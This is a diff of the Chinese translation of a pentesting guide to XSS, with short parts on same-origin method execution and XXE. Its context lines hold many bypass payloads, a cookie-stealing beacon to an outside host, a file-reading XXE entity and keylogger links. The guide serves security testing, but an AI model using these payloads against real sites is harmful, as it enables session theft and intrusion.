访问 [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet),然后点击 _**复制标签到剪贴板**_。然后,使用 Burp intruder 发送所有标签,并检查是否有任何标签未被 WAF 识别为恶意。一旦您发现可以使用的标签,您可以使用有效标签**暴力破解所有事件**(在同一网页上点击 _**复制事件到剪贴板**_,并按照之前的程序进行)。
### 自定义标签
@ -239,18 +239,18 @@ onerror=alert`1`
### Click XSS - Clickjacking
如果为了利用这个漏洞,你需要 **用户点击一个链接或一个带有预填充数据的表单**,你可以尝试 [**滥用 Clickjacking**](../clickjacking.md#xss-clickjacking)(如果页面是脆弱的)。
如果为了利用该漏洞,您需要 **用户点击一个链接或一个带有预填充数据的表单**,您可以尝试 [**滥用 Clickjacking**](../clickjacking.md#xss-clickjacking)(如果页面存在漏洞)。
### 不可能 - 悬挂标记
如果你认为 **创建一个带有属性以执行 JS 代码的 HTML 标签是不可能的**,你应该检查 [**悬挂标记**](../dangling-markup-html-scriptless-injection/),因为你可以 **利用** 这个漏洞 **而不** 执行 **JS** 代码
如果您认为 **创建一个带有执行 JS 代码的属性的 HTML 标签是不可能的**,您应该检查 [**悬挂标记**](../dangling-markup-html-scriptless-injection/),因为您可以 **在不执行** **JS** 代码的情况下 **利用** 该漏洞
## 在 HTML 标签内注入
### 在标签内/从属性值中转义
如果你在 **HTML 标签内**,你可以尝试的第一件事是 **从标签中转义**,并使用 [上一节](./#injecting-inside-raw-html) 中提到的一些技术来执行 JS 代码。\
如果**无法从标签中转义**,你可以在标签内创建新的属性来尝试执行 JS 代码例如使用一些有效载荷_注意在这个例子中使用双引号来从属性中转义如果你的输入直接反映在标签内你就不需要它们_
如果您在 **HTML 标签内**,您可以尝试的第一件事是 **从标签中转义**,并使用 [上一节](#injecting-inside-raw-html) 中提到的一些技术来执行 JS 代码。\
如果**无法从标签中转义**,您可以在标签内创建新的属性以尝试执行 JS 代码例如使用一些有效载荷_请注意在此示例中使用双引号从属性中转义如果您的输入直接反映在标签内不需要它们_
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -265,14 +265,14 @@ onerror=alert`1`
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
```
### 在属性内
### Within the attribute
即使你**无法逃离属性**`"`被编码或删除),根据**你的值反射在哪个属性中****如果你控制所有值或只是部分值**,你将能够利用它。例如,如果你控制一个事件如`onclick=`,你将能够使其在点击时执行任意代码。\
即使你**无法从属性中逃脱**`"`被编码或删除),根据**你的值反射在哪个属性中****如果你控制所有值或只是部分值**,你将能够利用它。**例如**,如果你控制一个事件如`onclick=`,你将能够使其在点击时执行任意代码。\
另一个有趣的**例子**是属性`href`,你可以使用`javascript:`协议来执行任意代码:**`href="javascript:alert(1)"`**
**使用HTML编码/URL编码绕过事件**
**通过HTML编码/URL编码绕过事件**
HTML标签属性值的**HTML编码字符**在运行时会被**解码**。因此,像以下内容将是有效的(有效负载用粗体表示):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">返回</a>`
HTML标签属性值的**HTML编码字符**在运行时会被**解码**。因此,像以下内容将是有效的(有效负载用粗体表示):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
请注意**任何类型的HTML编码都是有效的**
```javascript
@ -291,7 +291,7 @@ HTML标签属性值内的**HTML编码字符**在运行时会被**解码**。因
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>
```
**注意URL 编码也会有效:**
**注意URL 编码也会有效:**
```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```
@ -303,7 +303,7 @@ HTML标签属性值内的**HTML编码字符**在运行时会被**解码**。因
```
### 特殊协议在属性中
在某些地方,您可以使用协议 **`javascript:`** 或 **`data:`** 来 **执行任意 JS 代码**。有些需要用户交互,有些则不需要。
在某些地方,您可以使用协议 **`javascript:`** 或 **`data:`** 来 **执行任意 JS 代码**。有些需要用户交互,有些则不需要。
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**可以注入这些协议的地方**
**一般来说** `javascript:` 协议可以 **在任何接受 `href` 属性的标签中使用**,并且在 **大多数** 接受 **`src` 属性的标签中使用**(但不包括 `<img>`
**一般来说** `javascript:` 协议可以 **用于任何接受 `href` 属性的标签**,以及 **大多数** 接受 **`src` 属性的标签**(但不包括 `<img>`
```markup
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -347,17 +347,17 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**其他混淆技巧**
_**在这种情况下上一节中的HTML编码和Unicode编码技巧在属性内也是有效的。**_
_**在这种情况下上一节中的HTML编码和Unicode编码技巧也是有效的,因为您在一个属性内。**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
此外,还有另一个**好技巧****即使你在 `javascript:...` 中的输入被 URL 编码,它在执行之前会被 URL 解码。** 所以,如果你需要使用**单引号**从**字符串**中**逃逸**,并且你看到**它被 URL 编码**,请记住**这没关系,**它在**执行**时会被**解释**为**单引号**。
此外,还有另一个 **不错的技巧****即使你在 `javascript:...` 中的输入被 URL 编码,它在执行之前会被 URL 解码。** 所以,如果你需要使用 **单引号** **字符串** **逃逸**,并且你看到 **它被 URL 编码**,请记住 **这没关系,** 它在 **执行** 时会被 **解释** **单引号**
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
注意,如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**,它 **将不会** **工作**,但你可以在 **payload** 内部 **混合** 它们
注意,如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**,它 **将** **不起作用**,但你可以在 **payload** 内部 **混合它们**。
**使用 Hex 和 Octal 编码与 `javascript:`**
@ -373,7 +373,7 @@ _**在这种情况下上一节中的HTML编码和Unicode编码技巧在属性
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
```
### 反向标签窃取
### 反向标签劫持
```javascript
<a target="_blank" rel="opener"
```
@ -383,7 +383,7 @@ _**在这种情况下上一节中的HTML编码和Unicode编码技巧在属性
../reverse-tab-nabbing.md
{{#endref}}
### 关于事件处理程序绕过
### 事件处理程序绕过
首先查看此页面 ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) 以获取有用的 **"on" 事件处理程序**。\
如果有某些黑名单阻止您创建这些事件处理程序,您可以尝试以下绕过:
@ -401,9 +401,9 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS 在 "不可利用的标签"(隐藏输入、链接、规范、元)
### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
[**这里**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **现在可以用隐藏输入:**
从[**这里**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **现在可以用隐藏输入:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
@ -426,11 +426,11 @@ onbeforetoggle="alert(2)" />
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**XSS有效载将类似于:`" accesskey="x" onclick="alert(1)" x="`**
**XSS有效载将类似于:`" accesskey="x" onclick="alert(1)" x="`**
### 黑名单绕过
本节中已经揭示了几种使用不同编码的技巧。请**返回学习您可以使用的地方**
本节中已经揭示了几种使用不同编码的技巧。请**返回学习您可以使用的内容**
- **HTML编码HTML标签**
- **Unicode编码可以是有效的JS代码** `\u0061lert(1)`
@ -440,15 +440,15 @@ onbeforetoggle="alert(2)" />
**HTML标签和属性的绕过**
阅读[上一节的黑名单绕过](./#blacklist-bypasses)。
阅读[上一节的黑名单绕过](#blacklist-bypasses)。
**JavaScript代码的绕过**
阅读[下一节的JavaScript绕过黑名单](./#javascript-bypass-blacklists-techniques)。
阅读[下一节的JavaScript绕过黑名单](#javascript-bypass-blacklists-techniques)。
### CSS小工具
如果您在网络的**非常小的部分**发现了**XSS**需要某种交互(可能是页脚中的小链接带有onmouseover元素您可以尝试**修改该元素占据的空间**以最大化触发链接的概率。
如果您在网络的**非常小的部分**发现了**XSS**并且需要某种交互(也许是页脚中的一个小链接带有onmouseover元素您可以尝试**修改该元素占据的空间**以最大化触发链接的概率。
例如,您可以在元素中添加一些样式,如:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
@ -468,7 +468,7 @@ onbeforetoggle="alert(2)" />
## 在JavaScript代码中注入
在这情况下,您的**输入**将**反映在.js文件的JS代码**中,或在`<script>...</script>`标签之间或在可以执行JS代码的HTML事件之间或在接受`javascript:`协议的属性之间。
在这情况下,您的**输入**将**反映在.js文件的JS代码**中,或在`<script>...</script>`标签之间或在可以执行JS代码的HTML事件之间或在接受`javascript:`协议的属性之间。
### 转义\<script>标签
@ -476,9 +476,9 @@ onbeforetoggle="alert(2)" />
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
注意,在这个例子中我们**甚至没有关闭单引号**。这是因为**HTML 解析首先由浏览器执行**,这涉及到识别页面元素,包括脚本块。解析 JavaScript 以理解和执行嵌入的脚本仅在之后进行。
注意,在这个例子中我们**甚至没有关闭单引号**。这是因为**HTML 解析首先由浏览器执行**,这涉及到识别页面元素,包括脚本块。对 JavaScript 的解析以理解和执行嵌入的脚本仅在之后进行。
### 在 JS 代码内部
### Inside JS code
如果 `<>` 被清理,你仍然可以**转义字符串**,在你的输入**所在的位置**并**执行任意 JS**。修复 JS 语法是很重要的因为如果有任何错误JS 代码将不会被执行:
```
@ -549,12 +549,12 @@ eval(8680439..toString(30))(983801..toString(36))
"\t" //tab
// Any other char escaped is just itself
```
**JS代码中的空格替换**
**在JS代码中的空格替代**
```javascript
<TAB>
/**/
```
**JavaScript 注释(来自** [**JavaScript 注释**](./#javascript-comments) **技巧)**
**JavaScript 注释 (来自** [**JavaScript 注释**](#javascript-comments) **技巧)**
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**JavaScript 新行(来自** [**JavaScript 新行**](./#javascript-new-lines) **技巧)**
**JavaScript 新行(来自** [**JavaScript 新行**](#javascript-new-lines) **技巧)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
@ -738,31 +738,31 @@ top[8680439..toString(30)](1)
````
## **DOM 漏洞**
**JS 代码** 使用了 **由攻击者控制的不安全数据**,如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\
**JS 代码** 使用了 **由攻击者控制的不安全数据**`location.href`。攻击者可以利用这一点执行任意的 JS 代码。\
**由于对** [**DOM 漏洞的解释扩展到此页面**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
{{#endref}}
在这里你会找到关于 **DOM 漏洞是什么、如何引发以及如何利用它们的详细解释**。\
在这里你会找到关于 **DOM 漏洞是什么、如何引发它们以及如何利用它们的详细解释**。\
此外,不要忘记在 **提到的帖子末尾** 你可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。
### 升级自我 XSS
### 升级 Self-XSS
### Cookie XSS
如果你可以通过在 cookie 中发送有效负载来触发 XSS这通常是自我 XSS。然而如果你发现一个 **易受 XSS 攻击的子域名**,你可以利用这个 XSS 在整个域中注入一个 cookie从而在主域或其他子域易受 cookie XSS 攻击的那些)中触发 cookie XSS。为此你可以使用 cookie tossing 攻击:
如果你可以通过在 cookie 中发送有效负载来触发 XSS这通常是自我 XSS。然而如果你发现一个 **易受 XSS 攻击的子域名**,你可以利用这个 XSS 在整个域中注入一个 cookie从而在主域或其他子域易受 cookie XSS 攻击的那些)中触发 cookie XSS。为此你可以使用 cookie tossing 攻击:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
{{#endref}}
你可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到对这一技术的极佳利用
你可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到这个技术的一个很好的滥用示例
### 将你的会话发送给管理员
也许用户可以与管理员共享他的个人资料,如果自我 XSS 在用户的个人资料中,而管理员访问了它,他将触发漏洞。
也许用户可以与管理员共享他的个人资料,如果自我 XSS 在用户的个人资料中,而管理员访问了它,他将触发这个漏洞。
### 会话镜像
@ -774,7 +774,7 @@ dom-xss.md
### 规范化 Unicode
你可以检查 **反射值** 是否在服务器(或客户端)中 **进行 Unicode 规范化**,并利用此功能绕过保护。 [**在这里找到一个**](../unicode-injection/#xss-cross-site-scripting)。
你可以检查 **反射值** 是否在服务器(或客户端)中 **进行 Unicode 规范化**,并利用此功能绕过保护。 [**在这里找到一个例**](../unicode-injection/index.html#xss-cross-site-scripting)。
### PHP FILTER_VALIDATE_EMAIL 标志绕过
```javascript
@ -782,8 +782,8 @@ dom-xss.md
```
### Ruby-On-Rails 绕过
由于 **RoR 大量赋值**,引号被插入到 HTML 中,然后绕过引号限制,并且可以在标签内添加额外字段 (onfocus)。\
表单示例 ([来自此报告](https://hackerone.com/reports/709336)),如果您发送有效负载:
由于 **RoR 大量赋值**,引号被插入到 HTML 中,然后绕过引号限制,并且可以在标签内添加额外字段onfocus。\
表单示例 ([from this report](https://hackerone.com/reports/709336)),如果您发送有效负载:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
@ -827,12 +827,12 @@ document['default'+'View'][`\u0061lert`](3)
如果你发现可以**在302重定向响应中注入头**,你可以尝试**让浏览器执行任意JavaScript**。这**并不简单**因为现代浏览器在HTTP响应状态码为302时不会解释HTTP响应体因此仅仅一个跨站脚本有效载荷是无用的。
在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中你可以阅读如何在Location头中测试几种协议并查看其中是否有任何协议允许浏览器检查并执行体内的XSS有效载荷。\
在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中你可以阅读如何在Location头中测试几种协议并查看是否有任何协议允许浏览器检查并执行体内的XSS有效载荷。\
已知的过去协议:`mailto://``//x:1/``ws://``wss://`、_空Location头_、`resource://`
### 仅限字母、数字和点
如果你能够指示javascript将要**执行**的**回调**仅限于这些字符。[**阅读这篇文章的这一部分**](./#javascript-function)以了解如何利用这种行为。
如果你能够指示javascript将要**执行**的**回调**仅限于这些字符。[**阅读这篇文章的这一部分**](#javascript-function)以了解如何利用这种行为。
### 有效的`<script>`内容类型以进行XSS
@ -840,7 +840,7 @@ document['default'+'View'][`\u0061lert`](3)
> 拒绝从‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx')执行脚本因为其MIME类型application/octet-stream不可执行并且启用了严格的MIME类型检查。
唯一支持Chrome运行**加载脚本**的**Content-Type**是来自[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)的常量**`kSupportedJavascriptTypes`**中的类型。
唯一支持Chrome运行**加载脚本**的**Content-Type**是[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)中const **`kSupportedJavascriptTypes`**内的类型。
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -864,11 +864,11 @@ const char* const kSupportedJavascriptTypes[] = {
```
### Script Types to XSS
(来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 那么,哪些类型可以指示加载脚本?
(来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 那么,哪些类型可以指示加载脚本
```html
<script type="???"></script>
```
- **模块**(默认,无需解释)
- **module** (默认,无需解释)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles 是一个功能您可以将一堆数据HTML、CSS、JS…打包到一个 **`.wbn`** 文件中。
```html
<script type="webbundle">
@ -898,7 +898,7 @@ import { partition } from "lodash"
```
这种行为在 [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) 中被用来重新映射一个库到 eval以滥用它可以触发 XSS。
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 这个功能主要是为了解决一些由预渲染引起的问题。它的工作原理如下
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 这个功能主要是为了解决一些由预渲染引起的问题。它的工作原理
```html
<script type="speculationrules">
{
@ -923,7 +923,7 @@ import { partition } from "lodash"
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? 不在列表中,但我我在 CTF 中见过这个)
- text/plain (?? 不在列表中,但我认为我在 CTF 中见过这个)
- application/rss+xml (关闭)
- application/atom+xml (关闭)
@ -931,7 +931,7 @@ import { partition } from "lodash"
### xml Content Type
如果页面返回的是 text/xml 内容类型,可以指示一个命名空间并执行任意 JS
如果页面返回 text/xml 内容类型,可以指示一个命名空间并执行任意 JS
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -943,7 +943,7 @@ import { partition } from "lodash"
当使用类似 **`"some {{template}} data".replace("{{template}}", <user_input>)`** 的代码时,攻击者可以使用 [**特殊字符串替换**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) 来尝试绕过某些保护措施: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
例如,在 [**这篇文章**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) 中,这被用来 **转义一个 JSON 字符串** 在脚本中并执行任意代码。
例如,在 [**这篇文章**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) 中,这被用来 **转义脚本中的 JSON 字符串** 并执行任意代码。
### Chrome 缓存到 XSS
@ -984,7 +984,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
如果在执行不受信任的代码之前**一切都是未定义的**(如在[**这篇文章**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)中所述),则可以“凭空”生成有用的对象,以滥用任意不受信任代码的执行:
如果在执行不受信任的代码之前**一切都是未定义的**(如在[**这篇文章**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)中所述),则可以“凭空”生成有用的对象,以滥用任意不受信任代码的执行:
- 使用 import()
```javascript
@ -993,13 +993,13 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
- 间接访问 `require`
[根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050)模块在 Node.js 中被包装在一个函数内,如下所示:
[根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 模块在 Node.js 中被包装在一个函数内,如下所示:
```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
```
因此,如果从该模块我们可以**调用另一个函数**,则可以从该函数使用 `arguments.callee.caller.arguments[1]` 访问 **`require`**
因此,如果我们可以从该模块**调用另一个函数**,则可以使用 `arguments.callee.caller.arguments[1]` 从该函数访问 **`require`**
```javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
@ -1008,7 +1008,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
)
})()
```
以与前一个示例类似的方式,可以**使用错误处理程序**访问模块的**包装器**并获取**`require`**函数:
以与前示例类似的方式,可以**使用错误处理程序**访问模块的**包装器**并获取**`require`**函数:
```javascript
try {
null.f()
@ -1267,7 +1267,7 @@ steal-info-js.md
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> 如果在 cookie 中设置了 HTTPOnly 标志,您 **将无法通过 JavaScript 访问 cookies**。但如果您足够幸运,这里有 [一些绕过此保护的方法](../hacking-with-cookies/#httponly)。
> 如果在 cookie 中设置了 HTTPOnly 标志,您 **将无法通过 JavaScript 访问 cookies**。但如果您足够幸运,这里有 [一些绕过此保护的方法](../hacking-with-cookies/index.html#httponly)。
### 偷取页面内容
```javascript
@ -1381,7 +1381,7 @@ body:username.value+':'+this.value
### Keylogger
仅在 GitHub 上搜索,我发现了一些不同的:
仅在 GitHub 上搜索,我找到了几个不同的:
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
@ -1417,7 +1417,7 @@ document.getElementById("message").src += "&"+e.data;
abusing-service-workers.md
{{#endref}}
### 访问阴影 DOM
### 访问 Shadow DOM
{{#ref}}
shadow-dom.md
@ -1473,7 +1473,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
```
### Regex - 访问隐藏内容
从 [**这篇文章**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) 可以了解到,即使某些值从 JS 中消失,仍然可以在不同对象的 JS 属性中找到它们。例如REGEX 的输入在正则表达式的输入值被移除后仍然可以找到:
从 [**这篇文章**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) 可以了解到,即使某些值从 JS 中消失,仍然可以在不同对象的 JS 属性中找到它们。例如REGEX 的输入仍然可以在正则表达式的输入值被移除后找到:
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1508,16 +1508,16 @@ xss-in-markdown.md
### XSS 到 SSRF
在一个 **使用缓存的站点** 上获得了 XSS尝试通过边缘侧包含注入将其 **升级为 SSRF**,使用以下有效载荷:
在一个 **使用缓存的站点** 上获得了 XSS尝试通过边缘侧包含注入将其 **升级到 SSRF**,使用这个有效载荷:
```python
<esi:include src="http://yoursite.com/capture" />
```
使用它来绕过 cookie 限制、XSS 过滤器等更多内容!\
有关此技术的更多信息,请查看[**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。
有关此技术的更多信息,请参见[**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。
### 动态创建 PDF 中的 XSS
如果网页使用用户控制的输入创建 PDF您可以尝试 **欺骗创建 PDF 的机器人** **执行任意 JS 代码**。\
如果网页使用用户控制的输入创建 PDF您可以尝试 **欺骗创建 PDF 的机器人** 使其 **执行任意 JS 代码**。\
因此,如果 **PDF 创建机器人发现** 某种 **HTML** **标签**,它将会 **解释** 这些标签,您可以 **利用** 这种行为导致 **服务器 XSS**
{{#ref}}
@ -1536,11 +1536,11 @@ AMP 旨在加速移动设备上的网页性能,结合了 HTML 标签和 JavaSc
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 格式将特定的 AMP 组件扩展到电子邮件中,使收件人能够直接在电子邮件中与内容互动。
示例 [**在 Gmail 中的 Amp4Email XSS 写作**](https://adico.me/post/xss-in-gmail-s-amp4email)。
示例 [**在 Gmail 中的 Amp4Email XSS 写作**](https://adico.me/post/xss-in-gmail-s-amp4email)。
### XSS 上传文件 (svg)
上传如下文件作为图像(来自 [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)
将以下文件作为图像上传(来自 [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)
```markup
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
@ -1598,7 +1598,7 @@ id="foo"/>
```
找到 **更多 SVG 载荷在** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## 杂项 JS 技巧与相关信息
## 其他 JS 技巧与相关信息
{{#ref}}
other-js-tricks.md

View File

@ -4,25 +4,25 @@
## Same Origin Method Execution
在某些情况下您可以在页面中执行一些有限的javascript。例如在您可以[ **控制将被执行的回调值**](./#javascript-function)的情况下。
在某些情况下您可以在页面中执行一些有限的javascript。例如在您可以[ **控制将被执行的回调值**](#javascript-function)的情况下。
在这些情况下,您可以做的最好的事情之一是**访问DOM以调用您可以找到的任何**敏感操作(例如点击按钮)。然而,通常您会在**没有任何有趣内容的DOM的小端点**中发现此漏洞。
在这些情况下,您可以做的最好的事情之一是**访问DOM以调用您找到的任何**敏感操作(例如点击按钮)。然而,通常您会在**没有任何有趣内容的DOM的小端点**中发现此漏洞。
在这些场景中,这种攻击将非常有用,因为其目标是能够**用来自同一域的不同页面中的DOM内的有限JS执行**,以进行更有趣的操作。
在这些场景中,这种攻击将非常有用,因为其目标是能够**用来自同一域的不同页面中的DOM内的有限JS执行**进行更有趣的操作。
基本上,攻击流程如下:
- 找到一个**您可以用的回调**(可能限制为 \[\w\\.\_])。
- 如果没有限制并且您可以执行任何JS您可以像常规XSS一样用它。
- 找到一个**您可以用的回调**(可能限制为 \[\w\\.\_])。
- 如果没有限制并且您可以执行任何JS您可以像常规XSS一样用它。
- 让**受害者打开一个由** **攻击者**控制的页面。
- **页面将自己**在一个**不同的窗口**中打开(新窗口将有对象**`opener`**引用初始窗口)。
- **初始页面**将加载**有趣DOM**所在的**页面**
- **第二个页面**将加载**滥用回调的易受攻击页面**,并使用**`opener`**对象**访问并执行初始页面中的某些操作**现在包含有趣的DOM
- **第二个页面**将加载**利用回调的脆弱页面**,并使用**`opener`**对象**访问并在初始页面中执行某些操作**现在包含有趣的DOM
> [!CAUTION]
> 请注意即使初始页面在创建第二个页面后访问新URL**第二个页面的`opener`对象仍然是对新DOM中第一个页面的有效引用**。
>
> 此外为了使第二个页面能够使用opener对象**两个页面必须在同一源中**。这就是为什么为了滥用此漏洞,您需要找到某种**同源中的XSS**。
> 此外为了使第二个页面能够使用opener对象**两个页面必须在同一源中**。这就是为什么为了利用此漏洞,您需要找到某种**同一源中的XSS**。
### Exploitation
@ -31,8 +31,8 @@
### Example
- 您可以在[https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)找到一个易受攻击的示例。
- 请注意,在此示例中,服务器**生成javascript代码**并**将其添加**到基于**回调参数内容的HTML中**`<script>opener.{callbacl_content}</script>`。这就是为什么在此示例中您不需要明确指示使用`opener`
- 您可以在[https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)找到一个脆弱的示例。
- 请注意,在此示例中,服务器**生成javascript代码**并**将其添加**到基于**回调参数内容的HTML中**`<script>opener.{callbacl_content}</script>`**。这就是为什么在此示例中您不需要明确指示使用`opener`
- 还可以查看此CTF写作[https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
## References

View File

@ -14,7 +14,7 @@ alert(1)
</script>
<img src="x" onerror="alert(1)" />
```
您可以在[hacktricks的主要XSS页面](./)找到更多示例。
您可以在[hacktricks的主要XSS页面]()找到更多示例。
### Javascript链接

View File

@ -4,7 +4,7 @@
## XML基础
XML是一种用于数据存储和传输的标记语言具有灵活的结构允许使用描述性命名的标签。它与HTML的不同之处在于不受预定义标签集的限制。尽管XML在AJAX技术中的初始作用显著但随着JSON的兴起其重要性已下降。
XML是一种用于数据存储和传输的标记语言具有灵活的结构允许使用描述性命名的标签。它与HTML的不同之处在于不受限于一组预定义标签。尽管XML在AJAX技术中的初始作用显著但随着JSON的兴起其重要性已下降。
- **通过实体表示数据**XML中的实体使得数据的表示成为可能包括特殊字符如`&lt;``&gt;`,它们分别对应于`<``>`以避免与XML的标签系统发生冲突。
- **定义XML元素**XML允许定义元素类型概述元素应如何结构化以及可以包含哪些内容从任何类型的内容到特定的子元素。
@ -20,7 +20,7 @@ XML是一种用于数据存储和传输的标记语言具有灵活的结构
### 新实体测试
这次攻击中我将测试一个简单的新ENTITY声明是否有效。
攻击中我将测试一个简单的新ENTITY声明是否有效。
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
@ -33,9 +33,9 @@ XML是一种用于数据存储和传输的标记语言具有灵活的结构
### 读取文件
我们尝试以不同的方式读取 `/etc/passwd`。对于 Windows你可以尝试读取: `C:\windows\system32\drivers\etc\hosts`
我们尝试以不同的方式读取 `/etc/passwd`。对于 Windows你可以尝试读取: `C:\windows\system32\drivers\etc\hosts`
在这种情况下,请注意 SYSTEM "_\*\*file:///\*\*etc/passwd_" 也会有效。
在这个第一个例子中,请注意 SYSTEM "_\*\*file:///\*\*etc/passwd_" 也会有效。
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
@ -65,7 +65,7 @@ XML是一种用于数据存储和传输的标记语言具有灵活的结构
### 目录列表
